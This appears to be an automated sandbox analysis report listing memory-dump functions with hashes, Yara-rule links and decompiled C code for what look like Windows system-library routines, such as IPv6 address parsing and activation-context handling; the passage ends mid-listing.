API String ID:
Opcode ID: 0ec6c5e2d367d18b84ee964be1aa1d3b822183ad02e3793e91df51d62079f2cb
Instruction ID: 880a367b42abc4a96c0e8a6ef3cdff3996968c027dd4454e917b3bfbe5560183
Opcode Fuzzy Hash: 0ec6c5e2d367d18b84ee964be1aa1d3b822183ad02e3793e91df51d62079f2cb
Instruction Fuzzy Hash: 75D10633B482058BFB01DE68C4843DEB7B1AF85712F2985EADC64DB241E779E8528750

Uniqueness

Uniqueness Score: -1.00%

Function 6B540D20, Relevance: .4, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd2bdfa9d80367a9eadbfe928b2cb634db1230aedc3b8dd023f2d51b1d76f00e
Instruction ID: 0b646d1fc34d47a3b7e95a25b561f14777f3de63747bf8c79f1297fb56d4bebe
Opcode Fuzzy Hash: cd2bdfa9d80367a9eadbfe928b2cb634db1230aedc3b8dd023f2d51b1d76f00e
Instruction Fuzzy Hash: FFD1F330E04299DBFB08CF98C6917EDBBB1FB59700F2844ABD415AB295D77C89A5CB40

Uniqueness

Uniqueness Score: -1.00%

Function 6B578840, Relevance: .3, Instructions: 340COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25fa1d701f9cefb6730978020afc144c1af5272ab21e7fe31dbec40dfb96f6a2
Instruction ID: e8c7e4a2ccae1f5255d004a6569372154f0a504a51af21d2f276a62cd711dee5
Opcode Fuzzy Hash: 25fa1d701f9cefb6730978020afc144c1af5272ab21e7fe31dbec40dfb96f6a2
Instruction Fuzzy Hash: 42B11722F685158BFB289A19C8713ED6363EFD6310F1986F9C9225B7E9D63C89009743

Uniqueness

Uniqueness Score: -1.00%

Function 6B57EBB0, Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fa993315481d34d861e67938bc03e7c42d4ca2921a7b7b75938bf6aa423f69f
Instruction ID: c08795970c513c961404a86430e412d9ddfb675f48eaa4cfdcb018a9157cd7f4
Opcode Fuzzy Hash: 9fa993315481d34d861e67938bc03e7c42d4ca2921a7b7b75938bf6aa423f69f
Instruction Fuzzy Hash: 5A815C25B583558FF721AF6CC8E52E9BB2DEF53700B2805FAD8458B241C2BDD846D391

Uniqueness

Uniqueness Score: -1.00%

Function 6B56AB40, Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c43ceccdfe6991f65bc6a3437dee8e97dbb501de31c7256dae5844b100842b3
Instruction ID: d50f728dd5b753f058ff7036a5352d82a38d5b1adab0cf18c38296583a473709
Opcode Fuzzy Hash: 8c43ceccdfe6991f65bc6a3437dee8e97dbb501de31c7256dae5844b100842b3
Instruction Fuzzy Hash: 4581F631A002298BFB14CE69C490BEAB7F1FF85355F1542D9E9509F3A1E639ED44CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B5FFA2B, Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b95a5a372a9b6097a5fdf6718a503a8d623d3779571d7a3b9d987fdc2133ea4a
Instruction ID: 20ba7e62010a6f357e636b6c6fd1eeb3d82cfe2b3e3ce6c864f5553f55464395
Opcode Fuzzy Hash: b95a5a372a9b6097a5fdf6718a503a8d623d3779571d7a3b9d987fdc2133ea4a
Instruction Fuzzy Hash: 99817F70D093659FEB04CF59C4806EEF7F9FB09704F10859AE955ABA81D3789882CF64

Uniqueness

Uniqueness Score: -1.00%

Function 6B601002, Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4148a0af7a853fe8156dd9594750941f21bf777534e710e9a6daa5e146759281
Instruction ID: ae1973bffefca9de95c6f06de560273f3c1a65cead51e6dde7c013afbbd17a75
Opcode Fuzzy Hash: 4148a0af7a853fe8156dd9594750941f21bf777534e710e9a6daa5e146759281
Instruction Fuzzy Hash: 86719DB4A00672CBDB1CCF57C69167AB3F1FB45708B6048AEE99287640DF79E950CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6B6132A9, Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac10919aa83fcfc336b527b25c5ba8645a6f9cd53354f29923daebdd1c9be4b6
Instruction ID: 700fe5fb37642901385974a024fe236daaa0d5375057c00e42b9c800f24cce2a
Opcode Fuzzy Hash: ac10919aa83fcfc336b527b25c5ba8645a6f9cd53354f29923daebdd1c9be4b6
Instruction Fuzzy Hash: 7E210672B1C245AFE728CF2DC880AA6B7B6FF95310B5185B8D912C7181DB78F846C794

Uniqueness

Uniqueness Score: -1.00%

Function 6B57ABD8, Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4485f182b052dc28060a204f4b98fffdbd710f7e71cb1a9f571041eb4735c73
Instruction ID: 5b3487ed7c14e3545a621963f2ba5e2c1341ace960e920ec3896a40d4de00702
Opcode Fuzzy Hash: d4485f182b052dc28060a204f4b98fffdbd710f7e71cb1a9f571041eb4735c73
Instruction Fuzzy Hash: 4621EB30304646ABE728DF29C4986E3B7E9EB96304F50416AE4D587651D738F806CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6B576B90, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81643371c3d383621713f4ac5897031efe5d79de90dbf9db909a2b6cb50fdbef
Instruction ID: 9ead6f2958c8037e49adac504d69129ae3443470d3f7f9babfba73aeef72b433
Opcode Fuzzy Hash: 81643371c3d383621713f4ac5897031efe5d79de90dbf9db909a2b6cb50fdbef
Instruction Fuzzy Hash: 3EF03775B04208DFEB28DE88C690AE8B7B1EB46710F2044B8E61A9B700D63D9E04DB40

Uniqueness

Uniqueness Score: -1.00%

Function 6B546CA0, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 243
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E6B546CA0(intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12, short* _a16) {
				char _v5;
				char _v6;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr* _t51;
				void* _t52;
				signed int _t54;
				signed short _t58;
				signed short _t59;
				void* _t60;
				signed short _t61;
				signed short _t62;
				signed short _t63;
				signed short _t69;
				signed short _t73;
				signed short _t74;
				signed short _t75;
				signed int _t82;
				intOrPtr _t83;
				signed short _t84;
				signed short _t86;
				signed short _t87;
				signed int _t88;
				void* _t92;
				signed int _t97;
				short _t98;
				signed short _t99;
				signed short _t101;
				signed short _t102;
				char _t103;
				void* _t107;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				void* _t114;
				signed int _t118;
				intOrPtr* _t122;
				void* _t123;
				void* _t125;
				signed int _t127;
				signed int _t129;
				signed int _t130;
				signed short _t134;
				signed int _t136;
				intOrPtr* _t139;
				void* _t146;

				_t51 = _a4;
				if(_t51 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L6:
					_t52 = 0xc000000d;
				} else {
					_t103 =  *_t51;
					_t97 = 0;
					_v12 = 0;
					_v20 = 0;
					_v5 = _t103;
					_t146 = _t103 - 0x5b;
					if(_t146 == 0) {
						_t51 = _t51 + 1;
						__eflags = _t103 - 0x5b;
					}
					_v6 = _t146 == 0;
					if(E6B546D10(_t51,  &_v16, _a8) >= 0) {
						_t139 = _v16;
						_t54 = 0xa;
						__eflags =  *_t139 - 0x25;
						if( *_t139 != 0x25) {
							L22:
							__eflags =  *_t139 - 0x5d;
							if( *_t139 != 0x5d) {
								L51:
								_t98 = _v12;
								goto L52;
							} else {
								__eflags = _v5 - 0x5b;
								if(_v5 != 0x5b) {
									goto L6;
								} else {
									_t139 = _t139 + 1;
									_v6 = _t97;
									__eflags =  *_t139 - 0x3a;
									if( *_t139 != 0x3a) {
										goto L51;
									} else {
										_t139 = _t139 + 1;
										_v16 = _t54;
										_t129 = 0x10;
										__eflags =  *_t139 - 0x30;
										if( *_t139 == 0x30) {
											_t28 = _t139 + 1; // 0x4
											_t122 = _t28;
											_v16 = 8;
											_t139 = _t122;
											_t83 =  *_t139;
											__eflags = _t83 - 0x78;
											if(_t83 == 0x78) {
												L28:
												_v16 = _t129;
												_t31 = _t122 + 1; // 0x4
												_t139 = _t31;
											} else {
												__eflags = _t83 - 0x58;
												if(_t83 == 0x58) {
													goto L28;
												}
											}
										}
										_t58 =  *_t139;
										_v5 = _t58;
										__eflags = _t58;
										if(_t58 == 0) {
											goto L51;
										} else {
											_t99 = _v12;
											do {
												_t134 = _t58;
												_t59 = E6B58CB30(_t58, _t134);
												_pop(_t107);
												__eflags = _t59;
												if(_t59 == 0) {
													L36:
													_t60 = 0x10;
													__eflags = _v16 - _t60;
													if(_v16 != _t60) {
														goto L6;
													} else {
														_t61 = E6B58CB30(_t60, _t134);
														_pop(_t108);
														__eflags = _t61;
														if(_t61 == 0) {
															goto L6;
														} else {
															_t62 = E6B58CDD0(_t108, _t134);
															__eflags = _t62;
															if(_t62 == 0) {
																goto L6;
															} else {
																_t63 = E6B58CB30(_t62, _t134);
																_pop(_t110);
																__eflags = _t63;
																if(_t63 == 0) {
																	L42:
																	_push(0x41);
																} else {
																	_t74 = E6B58CCE0(_t110, _t134);
																	__eflags = _t74;
																	if(_t74 == 0) {
																		goto L42;
																	} else {
																		_push(0x61);
																	}
																}
																_pop(_t111);
																_t68 = ((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134;
																__eflags = ((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134 - 0xffff;
																if(((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134 > 0xffff) {
																	goto L6;
																} else {
																	_v12 = _v12 << 4;
																	_t69 = E6B58CB30(_t68, _t134);
																	_pop(_t112);
																	__eflags = _t69;
																	if(_t69 == 0) {
																		L47:
																		_push(0x41);
																	} else {
																		_t73 = E6B58CCE0(_t112, _t134);
																		__eflags = _t73;
																		if(_t73 == 0) {
																			goto L47;
																		} else {
																			_push(0x61);
																		}
																	}
																	_pop(_t113);
																	asm("cbw");
																	_t114 = 0xa;
																	_t99 = _v12 + _v5 - _t113 + _t114;
																	__eflags = _t99;
																	_v12 = _t99;
																	goto L49;
																}
															}
														}
													}
												} else {
													_t75 = E6B58CC80(_t107, _t134);
													__eflags = _t75;
													if(_t75 == 0) {
														goto L36;
													} else {
														_t118 = _v16;
														_t130 = _t118 & 0x0000ffff;
														__eflags = _t134 - 0x30 - _t130;
														if(_t134 - 0x30 >= _t130) {
															goto L36;
														} else {
															__eflags = (_t99 & 0x0000ffff) * _t130 + 0xffffffd0 + _t134 - 0xffff;
															if((_t99 & 0x0000ffff) * _t130 + 0xffffffd0 + _t134 > 0xffff) {
																goto L6;
															} else {
																asm("cbw");
																_t82 = _t118 * _v12 - 0x00000030 + _v5 & 0x0000ffff;
																_v12 = _t82;
																_t99 = _t82;
																goto L49;
															}
														}
													}
												}
												goto L7;
												L49:
												_t139 = _t139 + 1;
												_t58 =  *_t139;
												_v5 = _t58;
												__eflags = _t58;
											} while (_t58 != 0);
											L52:
											__eflags =  *_t139;
											if( *_t139 != 0) {
												goto L6;
											} else {
												__eflags = _v6;
												if(_v6 != 0) {
													goto L6;
												} else {
													 *_a16 = _t98;
													 *_a12 = _v20;
													_t52 = 0;
												}
											}
										}
									}
								}
							}
						} else {
							_t139 = _t139 + 1;
							_t101 =  *_t139;
							_t135 = _t101;
							_t84 = E6B58CB30(_t54, _t101);
							_pop(_t123);
							__eflags = _t84;
							if(_t84 == 0) {
								goto L6;
							} else {
								_t85 = E6B58CC80(_t123, _t135);
								__eflags = _t85;
								if(_t85 == 0) {
									goto L6;
								} else {
									__eflags = _t101;
									if(_t101 == 0) {
										L21:
										_t97 = _v12;
										_t54 = 0xa;
										goto L22;
									} else {
										_t136 = _v12;
										while(1) {
											__eflags = _t101 - 0x5d;
											if(_t101 == 0x5d) {
												goto L21;
											}
											_t102 = _t101;
											_t86 = E6B58CB30(_t85, _t102);
											_pop(_t125);
											__eflags = _t86;
											if(_t86 == 0) {
												goto L6;
											} else {
												_t87 = E6B58CC80(_t125, _t102);
												__eflags = _t87;
												if(_t87 == 0) {
													goto L6;
												} else {
													_t88 = _v20;
													_t127 = 0xa;
													_v16 = _t88 * _t127;
													asm("cdq");
													_v16 = _v16 + _t102;
													asm("adc ecx, edx");
													_t92 = _v16 + 0xffffffd0;
													asm("adc ecx, 0xffffffff");
													__eflags = _t88 * _t127 >> 0x20 - _t136;
													if(__eflags > 0) {
														goto L6;
													} else {
														if(__eflags < 0) {
															L20:
															_t85 = 0xffffffd0 + _v20 * 0xa + _t102;
															_t139 = _t139 + 1;
															_v20 = 0xffffffd0 + _v20 * 0xa + _t102;
															_t101 =  *_t139;
															__eflags = _t101;
															if(_t101 != 0) {
																continue;
															} else {
																goto L21;
															}
														} else {
															__eflags = _t92 - 0xffffffff;
															if(_t92 > 0xffffffff) {
																goto L6;
															} else {
																goto L20;
															}
														}
													}
												}
											}
											goto L7;
										}
										goto L21;
									}
								}
							}
						}
					} else {
						goto L6;
					}
				}
				L7:
				return _t52;
			}

0x6b546ca5
0x6b546cb0
0x6b546cef
0x6b546cef
0x6b546cc4
0x6b546cc4
0x6b546cc6
0x6b546cc8
0x6b546ccb
0x6b546cce
0x6b546cd1
0x6b546cd4
0x6b546cfd
0x6b546cfe
0x6b546cfe
0x6b546cdc
0x6b546ce9
0x6b5a1c19
0x6b5a1c1e
0x6b5a1c1f
0x6b5a1c22
0x6b5a1cc3
0x6b5a1cc3
0x6b5a1cc6
0x6b5a1e20
0x6b5a1e20
0x00000000
0x6b5a1ccc
0x6b5a1ccc
0x6b5a1cd0
0x00000000
0x6b5a1cd6
0x6b5a1cd6
0x6b5a1cd7
0x6b5a1cda
0x6b5a1cdd
0x00000000
0x6b5a1ce3
0x6b5a1ce3
0x6b5a1ce4
0x6b5a1ce9
0x6b5a1cea
0x6b5a1ced
0x6b5a1cef
0x6b5a1cef
0x6b5a1cf2
0x6b5a1cf9
0x6b5a1cfb
0x6b5a1cfd
0x6b5a1cff
0x6b5a1d05
0x6b5a1d05
0x6b5a1d08
0x6b5a1d08
0x6b5a1d01
0x6b5a1d01
0x6b5a1d03
0x00000000
0x00000000
0x6b5a1d03
0x6b5a1cff
0x6b5a1d0b
0x6b5a1d0d
0x6b5a1d10
0x6b5a1d12
0x00000000
0x6b5a1d18
0x6b5a1d18
0x6b5a1d1c
0x6b5a1d1c
0x6b5a1d20
0x6b5a1d25
0x6b5a1d26
0x6b5a1d28
0x6b5a1d76
0x6b5a1d78
0x6b5a1d79
0x6b5a1d7d
0x00000000
0x6b5a1d83
0x6b5a1d84
0x6b5a1d89
0x6b5a1d8a
0x6b5a1d8c
0x00000000
0x6b5a1d92
0x6b5a1d93
0x6b5a1d99
0x6b5a1d9b
0x00000000
0x6b5a1da1
0x6b5a1da2
0x6b5a1da7
0x6b5a1da8
0x6b5a1daa
0x6b5a1dbb
0x6b5a1dbb
0x6b5a1dac
0x6b5a1dad
0x6b5a1db3
0x6b5a1db5
0x00000000
0x6b5a1db7
0x6b5a1db7
0x6b5a1db7
0x6b5a1db5
0x6b5a1dc3
0x6b5a1dc9
0x6b5a1dcb
0x6b5a1dd0
0x00000000
0x6b5a1dd6
0x6b5a1dd6
0x6b5a1ddb
0x6b5a1de0
0x6b5a1de1
0x6b5a1de3
0x6b5a1df4
0x6b5a1df4
0x6b5a1de5
0x6b5a1de6
0x6b5a1dec
0x6b5a1dee
0x00000000
0x6b5a1df0
0x6b5a1df0
0x6b5a1df0
0x6b5a1dee
0x6b5a1dfd
0x6b5a1dfe
0x6b5a1e05
0x6b5a1e09
0x6b5a1e09
0x6b5a1e0c
0x00000000
0x6b5a1e0c
0x6b5a1dd0
0x6b5a1d9b
0x6b5a1d8c
0x6b5a1d2a
0x6b5a1d2b
0x6b5a1d31
0x6b5a1d33
0x00000000
0x6b5a1d35
0x6b5a1d35
0x6b5a1d3b
0x6b5a1d3e
0x6b5a1d40
0x00000000
0x6b5a1d42
0x6b5a1d4d
0x6b5a1d52
0x00000000
0x6b5a1d58
0x6b5a1d5f
0x6b5a1d68
0x6b5a1d6b
0x6b5a1d6e
0x00000000
0x6b5a1d6e
0x6b5a1d52
0x6b5a1d40
0x6b5a1d33
0x00000000
0x6b5a1e10
0x6b5a1e10
0x6b5a1e11
0x6b5a1e13
0x6b5a1e16
0x6b5a1e16
0x6b5a1e24
0x6b5a1e24
0x6b5a1e27
0x00000000
0x6b5a1e2d
0x6b5a1e2d
0x6b5a1e31
0x00000000
0x6b5a1e37
0x6b5a1e3e
0x6b5a1e47
0x6b5a1e49
0x6b5a1e49
0x6b5a1e31
0x6b5a1e27
0x6b5a1d12
0x6b5a1cdd
0x6b5a1cd0
0x6b5a1c28
0x6b5a1c28
0x6b5a1c29
0x6b5a1c2b
0x6b5a1c2f
0x6b5a1c34
0x6b5a1c35
0x6b5a1c37
0x00000000
0x6b5a1c3d
0x6b5a1c3e
0x6b5a1c44
0x6b5a1c46
0x00000000
0x6b5a1c4c
0x6b5a1c4c
0x6b5a1c4e
0x6b5a1cbd
0x6b5a1cbd
0x6b5a1cc2
0x00000000
0x6b5a1c50
0x6b5a1c50
0x6b5a1c53
0x6b5a1c53
0x6b5a1c56
0x00000000
0x00000000
0x6b5a1c58
0x6b5a1c5c
0x6b5a1c61
0x6b5a1c62
0x6b5a1c64
0x00000000
0x6b5a1c6a
0x6b5a1c6b
0x6b5a1c71
0x6b5a1c73
0x00000000
0x6b5a1c79
0x6b5a1c79
0x6b5a1c7e
0x6b5a1c81
0x6b5a1c88
0x6b5a1c89
0x6b5a1c8f
0x6b5a1c91
0x6b5a1c94
0x6b5a1c97
0x6b5a1c99
0x00000000
0x6b5a1c9f
0x6b5a1c9f
0x6b5a1caa
0x6b5a1cb1
0x6b5a1cb3
0x6b5a1cb4
0x6b5a1cb7
0x6b5a1cb9
0x6b5a1cbb
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5a1ca1
0x6b5a1ca1
0x6b5a1ca4
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5a1ca4
0x6b5a1c9f
0x6b5a1c99
0x6b5a1c73
0x00000000
0x6b5a1c64
0x00000000
0x6b5a1c53
0x6b5a1c4e
0x6b5a1c46
0x6b5a1c37
0x00000000
0x00000000
0x00000000
0x6b546ce9
0x6b546cf4
0x6b546cfa

APIs

RtlIpv6StringToAddressA.1105(?,00000000,?,00000000), ref: 6B546CE2

Strings

[, xrefs: 6B5A1CCC

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressIpv6String
String ID: [
API String ID: 27538981-784033777
Opcode ID: 6fc8d88a6431a7faa658da00268c126386f55933642b9b9e14cb1f00605dfa96
Instruction ID: 6d9014ffab3e2d95db26cca63a63506007b9cd3a0e2a552c049cab944e19bbc6
Opcode Fuzzy Hash: 6fc8d88a6431a7faa658da00268c126386f55933642b9b9e14cb1f00605dfa96
Instruction Fuzzy Hash: 0671F135E847666AFB058A78E8617EE7BB4AF47324F1445DAD4A0EB2C0EB3CC581C710

Uniqueness

Uniqueness Score: -1.00%

Function 6B581CC7, Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 193
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E6B581CC7(void* __ebx, intOrPtr* __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t91;
				intOrPtr _t95;
				short _t96;
				intOrPtr _t104;
				intOrPtr _t111;
				short _t119;
				signed int _t130;
				intOrPtr _t133;
				intOrPtr _t137;
				struct _EXCEPTION_RECORD _t143;
				intOrPtr* _t146;
				void* _t150;

				_t138 = __edx;
				_push(0x154);
				_push(0x6b620348);
				E6B59D0E8(__ebx, __edi, __esi);
				 *(_t150 - 0xf0) = __edx;
				_t146 = __ecx;
				 *((intOrPtr*)(_t150 - 0xfc)) = __ecx;
				 *((intOrPtr*)(_t150 - 0xf8)) =  *((intOrPtr*)(_t150 + 8));
				 *(_t150 - 0xe8) =  *(_t150 + 0xc);
				 *((intOrPtr*)(_t150 - 0xf4)) =  *((intOrPtr*)(_t150 + 0x10));
				 *((intOrPtr*)(_t150 - 0xe4)) = 0;
				 *(_t150 - 0xdc) = 0;
				 *((intOrPtr*)(_t150 - 0xd8)) = 0;
				 *(_t150 - 0xe0) = 0;
				 *((intOrPtr*)(_t150 - 0x140)) = 0x40;
				memset(_t150 - 0x13c, 0, 0x3c);
				 *((intOrPtr*)(_t150 - 0x164)) = 0x24;
				 *((intOrPtr*)(_t150 - 0x160)) = 1;
				_t130 = 7;
				memset(_t150 - 0x15c, 0, _t130 << 2);
				_t143 =  *(_t150 - 0xe8);
				_t91 = E6B562430(1, _t146, 0,  *((intOrPtr*)(_t150 - 0xf8)), _t143,  *((intOrPtr*)(_t150 - 0xf4)), _t150 - 0xe0, 0, 0);
				_t147 = _t91;
				if(_t91 >= 0) {
					if( *0x6b638460 != 0 && ( *(_t150 - 0xe0) & 0x00000001) == 0) {
						_t95 = E6B562D50(7, 0, 2,  *((intOrPtr*)(_t150 - 0xfc)), _t150 - 0x140);
						_t147 = _t95;
						if(_t95 < 0) {
							goto L1;
						}
						if( *(_t150 - 0x13c) == 1) {
							if(( *(_t150 - 0x118) & 0x00000001) == 0) {
								if(( *(_t150 - 0x118) & 0x00000002) != 0) {
									 *(_t150 - 0x120) = 0xfffffffc;
								}
							} else {
								 *(_t150 - 0x120) =  *(_t150 - 0x120) & 0x00000000;
							}
							_t133 =  *((intOrPtr*)(_t150 - 0x114));
							_t96 =  *((intOrPtr*)(_t133 + 0x5c));
							 *((short*)(_t150 - 0xda)) = _t96;
							 *(_t150 - 0xdc) = _t96;
							 *((intOrPtr*)(_t150 - 0xd8)) =  *((intOrPtr*)(_t133 + 0x60)) +  *((intOrPtr*)(_t150 - 0x110));
							 *(_t150 - 0xe8) = _t150 - 0xd0;
							 *((short*)(_t150 - 0xea)) = 0xaa;
							_t104 = E6B554720(_t138,  *(_t150 - 0xf0) & 0x0000ffff, _t150 - 0xec, 2, 0);
							_t147 = _t104;
							if(_t104 < 0 || RtlCompareUnicodeString(_t150 - 0xdc, _t150 - 0xec, 1) == 0) {
								goto L1;
							} else {
								 *0x6b63b1e0( *(_t150 - 0x120),  *(_t150 - 0xf0), _t150 - 0xe4);
								_t147 =  *((intOrPtr*)( *0x6b638460))();
								 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
								if(_t147 < 0) {
									goto L1;
								}
								_t111 =  *((intOrPtr*)(_t150 - 0xe4));
								if(_t111 == 0xffffffff) {
									L25:
									 *((intOrPtr*)(_t150 - 4)) = 1;
									_t143 =  *0x6b638468;
									if(_t143 != 0) {
										 *0x6b63b1e0(_t111);
										 *_t143();
									}
									 *((intOrPtr*)(_t150 - 4)) = 0xfffffffe;
									goto L1;
								}
								E6B55F540(_t150 - 0x164, _t111);
								 *((intOrPtr*)(_t150 - 4)) = 0;
								if( *((intOrPtr*)(_t143 + 4)) != 0) {
									RtlFreeUnicodeString(_t143);
								}
								_t144 =  *((intOrPtr*)(_t150 - 0xfc));
								_t147 = E6B562430(0,  *((intOrPtr*)(_t150 - 0xfc)), 0,  *((intOrPtr*)(_t150 - 0xf8)), _t143,  *((intOrPtr*)(_t150 - 0xf4)), _t150 - 0xe0, 0, 0);
								 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
								if(_t147 < 0) {
									L24:
									 *((intOrPtr*)(_t150 - 4)) = 0xfffffffe;
									_t111 = E6B5BD704();
									goto L25;
								} else {
									_t147 = E6B562D50(7, 0, 2, _t144, _t150 - 0x140);
									 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
									if(_t147 < 0) {
										goto L24;
									}
									if( *(_t150 - 0x13c) == 1) {
										_t137 =  *((intOrPtr*)(_t150 - 0x114));
										_t119 =  *((intOrPtr*)(_t137 + 0x5c));
										 *((short*)(_t150 - 0xda)) = _t119;
										 *(_t150 - 0xdc) = _t119;
										 *((intOrPtr*)(_t150 - 0xd8)) =  *((intOrPtr*)(_t137 + 0x60)) +  *((intOrPtr*)(_t150 - 0x110));
										if(RtlCompareUnicodeString(_t150 - 0xdc, _t150 - 0xec, 1) == 0) {
											goto L24;
										}
										_t147 = 0xc0150004;
										L23:
										 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
										goto L24;
									}
									_t147 = 0xc0150005;
									goto L23;
								}
							}
						}
						_t147 = 0xc0150005;
					}
				}
				L1:
				return E6B59D130(1, _t143, _t147);
			}

0x6b581cc7
0x6b581cc7
0x6b581ccc
0x6b581cd1
0x6b581cd6
0x6b581cdc
0x6b581cde
0x6b581ce7
0x6b581cf0
0x6b581cf9
0x6b581d01
0x6b581d09
0x6b581d0f
0x6b581d15
0x6b581d1b
0x6b581d2f
0x6b581d37
0x6b581d44
0x6b581d4c
0x6b581d55
0x6b581d68
0x6b581d78
0x6b581d7d
0x6b581d81
0x6b5bd4e3
0x6b5bd509
0x6b5bd50e
0x6b5bd512
0x00000000
0x00000000
0x6b5bd51e
0x6b5bd531
0x6b5bd543
0x6b5bd545
